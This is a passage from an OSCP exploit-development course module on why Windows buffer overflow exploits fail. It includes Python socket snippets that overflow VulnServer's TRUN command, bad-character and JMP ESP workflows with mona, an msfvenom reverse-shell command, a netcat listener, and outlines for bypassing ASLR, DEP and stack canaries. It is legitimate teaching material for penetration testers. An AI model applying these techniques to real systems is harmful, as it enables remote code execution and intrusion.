| 8 | Wrong encoding | βββ | Medium | Easy | Shellcode bytes doubled/wrong | Use bytes not str in Py3 |
| 9 | Network issues | βββ | Medium | Easy | Crash works, no shell | Check firewall, port, LHOST |
| 10 | Timing/race | ββ | Low-Medium | Hard | Exploit works sometimes | Stabilize environment |
Common Beginner Mistakes and How to Avoid Them
Mistake 1: Not Verifying the Offset
# BEGINNER: Trusts the first pattern_offset result
offset = 2003 # From pattern_offset
buffer = b'A' * offset + b'\x67\x45\x02\x10' + shellcode
# Sends exploit β fails β gives up
# EXPERT: Always verifies
offset = 2003
# Verification step:
verify_buffer = b'A' * offset + b'\x42\x42\x42\x42'
# Attach debugger, send verify_buffer
# Confirm EIP = 0x42424242 before proceeding
Mistake 2: Skipping Bad Character Analysis
# BEGINNER: Assumes no bad characters
shellcode = b"\xfc\xe8\x82\x00\x00\x00..." # Contains 0x00!
# Sends exploit β fails β "The exploit doesn't work"
# EXPERT: Always runs bad char analysis first
badchars = bytes(range(256))
# Send badchars, check in debugger
# Found: 0x00, 0x0a, 0x0d are bad
# Regenerate:
msfvenom -p windows/shell_reverse_tcp LHOST=X LPORT=X -b '\x00\x0a\x0d' -f python
Mistake 3: Using the Wrong Endianness
# BEGINNER: Pastes address as-is
jmp_esp = 0x10024567
buffer += struct.pack('>I', jmp_esp) # BIG ENDIAN β WRONG!
# EXPERT: Always uses little-endian
buffer += struct.pack('<I', jmp_esp) # LITTLE ENDIAN β CORRECT!
# Or manually: b'\x67\x45\x02\x10'
Mistake 4: Not Checking if the Module is Loaded
# BEGINNER: Uses a JMP address from a module that may not load
buffer += b'\x67\x45\x02\x10' # From optional_plugin.dll
# EXPERT: Verifies module is loaded
# In debugger: View β Executable Modules
# Confirm the module is present BEFORE using its addresses
# Prefer modules that are ALWAYS loaded (main app DLLs)
Mistake 5: Python 3 String vs Bytes
# BEGINNER (Python 3):
payload = "AV10101010" + A * offset + jmp_addr + shellcode
# "AV10101010" is a str, A is bytes β TypeError or corruption
# EXPERT (Python 3):
prefix = b"AV10101010"
payload = prefix + b'A' * offset + jmp_addr + shellcode
# Everything is bytes β correct
Mistake 6: Not Restarting the Service Between Tests
BEGINNER workflow:
1. Crash service
2. Change offset
3. Send again β "Still crashes" β frustrated
EXPERT workflow:
1. Crash service
2. RESTART service (fresh state, fresh memory)
3. Attach debugger
4. Send new payload
5. Analyze results
Mistake 7: Ignoring the Debugger Output
BEGINNER: "It crashed, let me change something and try again"
EXPERT: "It crashed β let me check:
- What is EIP?
- What is ESP pointing to?
- What does the stack look like?
- Are my bytes in memory?
- Where exactly did it crash?"
Practical Lab Exercises
Exercise 1: Offset Finding Practice
Goal: Find the exact offset for a buffer overflow vulnerability.
Setup:
- Set up VulnServer (from OSCP lab) on a Windows VM
- Install Immunity Debugger + mona.py
- Attach Immunity to VulnServer
Steps:
# Step 1: Generate a 5000-byte unique pattern
# msf-pattern_create -l 5000
# Copy the output
# Step 2: Send the pattern via the TRUN command
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('10.10.10.10', 9999))
s.recv(1024)
pattern = b'AA...' # Your 5000-byte pattern here
payload = b'TRUN /ET ' + pattern
s.send(payload + b'\r\n')
# Step 3: In Immunity, let it crash
# Read EIP value (e.g., 0x6A41396A)
# Step 4: Calculate offset
# msf-pattern_offset -l 5000 -q 6A41396A
# Step 5: Verify
verify = b'TRUN /ET ' + b'A' * offset + b'\x42\x42\x42\x42'
s.send(verify + b'\r\n')
# EIP should be exactly 0x42424242
Deliverable: Document the exact offset and your verification steps.
Exercise 2: Bad Character Analysis
Goal: Identify all bad characters for a given vulnerability.
Steps:
# Step 1: Create the full byte set
badchars = b''
for i in range(256):
badchars += bytes([i])
# Step 2: Embed in exploit (after verified offset and JMP)
nSEH = b'\xeb\x06\x90\x90'
sehAddr = b'\xcb\xa5\x02\x10' # Your POP POP RET
nBuff = b'\x90' * 16 + badchars
payload = b'TRUN /ET ' + b'A' * offset + nSEH + sehAddr + nBuff
# Step 3: Send and crash
# Step 4: In Immunity, dump the memory at the shellcode location
# Compare each byte against the expected sequence
# Step 5: Document findings
# Example: Bad chars = \x00, \x0a, \x0d
Deliverable: List of bad characters with hex values and the method used to identify them.
Exercise 3: Module Selection and JMP ESP
Goal: Find and verify a reliable JMP ESP address.
Steps:
# Step 1: List all loaded modules
!mona modules
# Step 2: Identify modules with:
# ASLR = False
# DEP = False
# SafeSEH = False (if doing SEH exploit)
# Step 3: Find JMP ESP in qualifying modules
!mona jmp -r esp -m qualifying_module.dll
# Step 4: Pick an address and verify manually
# Go to the address in Immunity
# Confirm it shows: FF E4 (JMP ESP)
# Step 5: Test the address
# Restart the service
# Use the address in your exploit
# Confirm it works after restart (proves no ASLR issue)
Deliverable: Table of candidate modules, selected JMP ESP address, and verification steps.
Exercise 4: Complete Exploit Build
Goal: Build a working exploit from scratch using all the techniques.
Steps:
- Fuzz the application to confirm crash
- Find the exact offset
- Identify bad characters
- Select a module and find JMP ESP
- Generate shellcode avoiding bad characters
- Build the complete exploit
- Test and get a shell
Deliverable: Complete Python exploit script with comments explaining each section.
Exercise 5: Debug a Broken Exploit
Goal: Fix a deliberately broken exploit.
Setup: You are given an exploit script with 3-5 intentional bugs:
- Wrong offset (off by 10)
- Bad character not excluded (0x00 in shellcode)
- Wrong endianness on JMP address
- Wrong LHOST
Steps:
- Run the exploit β observe the failure
- Use the decision tree to diagnose
- Fix each issue systematically
- Document what was wrong and how you found it
Deliverable: Bug report listing each issue, its symptom, and the fix applied.
Connection to the OSCP Exam
Machines That Test Exploit Fixing Skills
| Machine Category | Typical Failure Mode | What Youβll Need to Do |
|---|---|---|
| Windows Buffer Overflow | Wrong offset, bad chars, wrong module | Full exploit development cycle |
| SEH Overflow | SEH record layout, SafeSEH | POP POP RET, SEH chain manipulation |
| Authenticated Overflow | Module loading, ASLR | Find module loaded only after auth |
| Custom Protocol | Bad chars, encoding | Protocol-specific bad char analysis |
| Multiple Vulns | Wrong vuln selected | Test each vulnerability independently |
| Patched Software | Different offset/module | Redo offset and module analysis |
Exam-Specific Advice
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β OSCP Exam Exploit Tips β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β β
β 1. Always save your working offset and bad chars β
β in notes BEFORE building the final exploit β
β β
β 2. If an exploit from ExploitDB doesn't work: β
β - Don't just try it and move on β
β - Debug it β the vuln is likely real, the exploit is β
β just outdated β
β β
β 3. Take screenshots of EVERY step in Immunity β
β - Offset verification β
β - Bad character analysis β
β - Module selection β
β - Final shell β
β These are worth points in your report β
β β
β 4. If you're stuck on a Windows box for >2 hours: β
β - Re-verify your offset (most common fix) β
β - Re-check bad characters (second most common) β
β - Try a different module for JMP ESP β
β β
β 5. The "exploit doesn't work" panic is normal β
β - Every OSCP candidate experiences this β
β - Systematic debugging beats random guessing β
β β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Report-Worthy Debugging Steps
When writing your OSCP report, include these debugging details:
## Exploit Development Process
### Step 1: Fuzzing
- Sent incremental buffers from 500 to 5000 bytes
- Application crashed at 2000+ bytes
- Confirmed reliable crash at 3000 bytes
### Step 2: EIP Control
- Generated 3000-byte unique pattern using msf-pattern_create
- Crashed application and captured EIP: 0x6A41396A
- Calculated offset: 2003 bytes (msf-pattern_offset)
- Verified: Sent 2003 'A's + 'BBBB' β EIP = 0x42424242 β
### Step 3: Bad Character Analysis
- Sent full 256-byte character set
- Compared in Immunity Debugger memory dump
- Identified bad characters: \x00, \x0a, \x0d
- Regenerated shellcode with -b '\x00\x0a\x0d'
### Step 4: Module Selection
- Listed modules: !mona modules
- Selected module.dll: ASLR=False, DEP=False, SafeSEH=False
- Found JMP ESP at 0x10024567: !mona jmp -r esp -m module.dll
- Verified instruction at address: FF E4 β
### Step 5: Final Exploit
- Generated shellcode: msfvenom with bad char exclusions
- Built payload: [offset filler][JMP ESP][NOP sled][shellcode]
- Tested: Reverse shell received on port 443 β
Advanced Topics: When Multiple Protections Stack
The Modern Defense Stack
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β Layered Protections (All Active) β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β β
β Application: Input validation + bounded buffers β
β β β
β Compiler: Stack cookies (Canary) + /GS β
β β β
β OS: ASLR + DEP/NX + SafeSEH + CFG β
β β β
β Hardware: NX bit + CET (Intel Shadow Stack) β
β β β
β External: AV/EDR + Network IPS β
β β
β Each layer must be bypassed or avoided. β
β OSCP machines typically have 0-2 of these active. β
β Real-world targets may have ALL of them. β
β β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Bypassing Combined Protections
Scenario: ASLR + DEP + SafeSEH all enabled
Attack strategy:
1. ASLR bypass:
- Find information leak vulnerability
- Leak module base address
- Calculate real addresses at runtime
2. DEP bypass:
- Build ROP chain using leaked addresses
- Call VirtualProtect to make stack executable
- Or use return-to-libc technique
3. SafeSEH bypass:
- Don't use SEH overflow
- Use traditional stack buffer overflow to EIP
- Or find a module without SafeSEH
4. Combine:
- Info leak β real addresses
- ROP chain β disable DEP
- Shellcode execution β shell
Stack Canary / Cookie Bypass
If the compiler adds a stack cookie:
[Your buffer][CANARY][Saved EBP][Saved EIP]
^^^^^^^^
If corrupted, __security_check_cookie() kills the process
Bypass strategies:
1. Information leak: Read the canary value from memory
2. Brute force: On 32-bit, 4 bytes = 2^32 possibilities (impractical)
3. Partial overwrite: If you can control the canary, set it to match
4. Skip the canary: Find a vulnerability that doesn't traverse the canary
Checklist: Pre-Exploit Verification
Before sending your final exploit, run through this checklist:
PRE-EXPLOIT VERIFICATION CHECKLIST
βββββββββββββββββββββββββββββββββββ
OFFSET AND CONTROL
β Offset verified with A*offset + B*4 pattern
β EIP contains exactly 0x42424242 when using test pattern
β Offset confirmed after service restart (consistent)
BAD CHARACTERS
β Full 256-byte bad character analysis completed
β Bad characters documented: [list them]
β Shellcode regenerated excluding all bad characters
β Shellcode verified intact in memory (Immunity dump)
MODULE AND JMP ADDRESS
β Module confirmed loaded in target process
β Module has ASLR = False
β Module has DEP = False
β JMP ESP instruction verified at the address (FF E4)
β Address in correct little-endian byte order
β Address confirmed after service restart (same address)
PAYLOAD
β Shellcode generated with correct LHOST and LPORT
β Shellcode format is bytes (Python 3) or raw (Python 2)
β NOP sled included (at least 16 bytes recommended)
β Total payload size does not exceed buffer limits
NETWORK
β Listener running (nc -lvnp 443 or similar)
β LHOST is reachable from target
β No firewall blocking the port
β Correct IP address used (not 127.0.0.1)
ENVIRONMENT
β Service restarted fresh before final attempt
β Debugger detached (if using) before final attempt
β Notes saved with all values for report writing
Summary and Key Takeaways
The Three Pillars of Exploit Reliability
βββββββββββββββββββ βββββββββββββββββββ βββββββββββββββββββ
β CORRECT β β CLEAN β β RELIABLE β
β OFFSET β β PAYLOAD β β REDIRECT β
β β β β β β
β β’ Verified β β β’ No bad chars β β β’ Module loads β
β β’ Reproducible β β β’ Proper encode β β β’ No ASLR β
β β’ Tested β β β’ Right format β β β’ No DEP β
β β’ Documented β β β’ Intact in mem β β β’ Correct addr β
βββββββββββββββββββ βββββββββββββββββββ βββββββββββββββββββ
Key Principles
-
Never skip verification steps. Every offset, every bad character analysis, every module check β verify before proceeding.
-
The debugger is your best tool. Immunity Debugger with mona.py will answer 90% of your questions. Learn it well.
-
Exploits fail for simple reasons. Wrong offset, bad characters, wrong module β these three cause 80% of failures. Check them first.
-
Document everything. Your future self (and your OSCP report) will thank you.
-
Restart between tests. A fresh service state eliminates hidden variables.
-
Think in bytes, not strings. Especially in Python 3, the bytes/string distinction is critical.
-
The exploit fixing mindset is the real skill. Anyone can run a working exploit. The professional is the one who can fix a broken one.
Final Words
βThe difference between a script kiddie and a penetration tester is not the tools they use β itβs what they do when the tools fail.β
Mastering exploit debugging is not just about passing the OSCP. Itβs about developing the systematic, methodical approach that defines a professional security researcher. Every failed exploit is a learning opportunity. Every crash is data. Every access violation is a clue.
Embrace the failure. Debug it. Learn from it. Move forward.
Last updated: 2026-09-01 | Module 10: Fixing Exploits | Topic 1: Why Exploits Fail